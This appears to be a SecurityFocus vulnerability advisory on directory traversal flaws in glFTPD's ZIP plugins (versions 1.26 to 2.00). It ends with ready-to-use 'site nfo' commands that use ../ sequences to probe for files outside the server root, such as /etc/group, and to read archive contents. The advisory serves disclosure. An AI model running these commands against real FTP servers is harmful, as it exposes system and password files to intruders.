source: http://www.securityfocus.com/bid/12586/info

It is reported that various ZIP related plugins supplied with the server contain multiple directory traversal vulnerabilities. These issues may allow remote attackers to determine the existence of files on a computer and also disclose arbitrary files. The issues arise due to insufficient sanitization of user-supplied data.

By determining the presence of files in restricted directories and outside the server's root in addition to disclosing the contents of arbitrary files, the attacker can launch various attacks against a vulnerable computer. If an attack results in the disclosure of a password file, these issues may ultimately lead to unauthorized access to the affected computer in the context of the server.

The affected plugins are shipped with the FTP server by default. glFTPD 1.26 to 2.00 are reported vulnerable. 

To determine the existence of a file out side the server's root:
site nfo ../etc/group

To determine the existence of the first two files in a directory out side the server's root:
site nfo ../../../../../etc/*

To determine the existence of the first two files in a directory inside the server's root:
site nfo staff/*

To determine the existence of files in the directory tree:
site nfo ../../../../../etc/a*

To determine the existence of files in a ZIP archive:
site nfo ../../*.zip

To disclose the contents of files with names starting with the letter 'p' in a directory:
site nfo ../../backup.zip p* 